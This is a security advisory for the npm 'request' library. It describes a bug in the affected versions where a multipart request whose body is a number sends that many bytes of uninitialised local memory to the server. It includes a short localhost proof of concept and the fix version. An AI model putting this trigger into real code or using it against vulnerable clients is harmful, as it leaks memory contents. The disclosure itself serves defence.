Request is an http client. If a request is made using ```multipart```, and the body type is a ```number```, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.

Affected: npm: request

Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body.

## Proof of Concept

```js var request = require('request'); var http = require('http');

var serveFunction = function (req, res){ req.on('data', function (data) { console.log(data) }); res.end(); }; var server = http.createServer(serveFunction); server.listen(8000);

request({ method: "POST", uri: 'http://localhost:8000', multipart: [{body:500}] },function(err,res,body){}); ```

## Recommendation

Update to version 2.68.0 or later
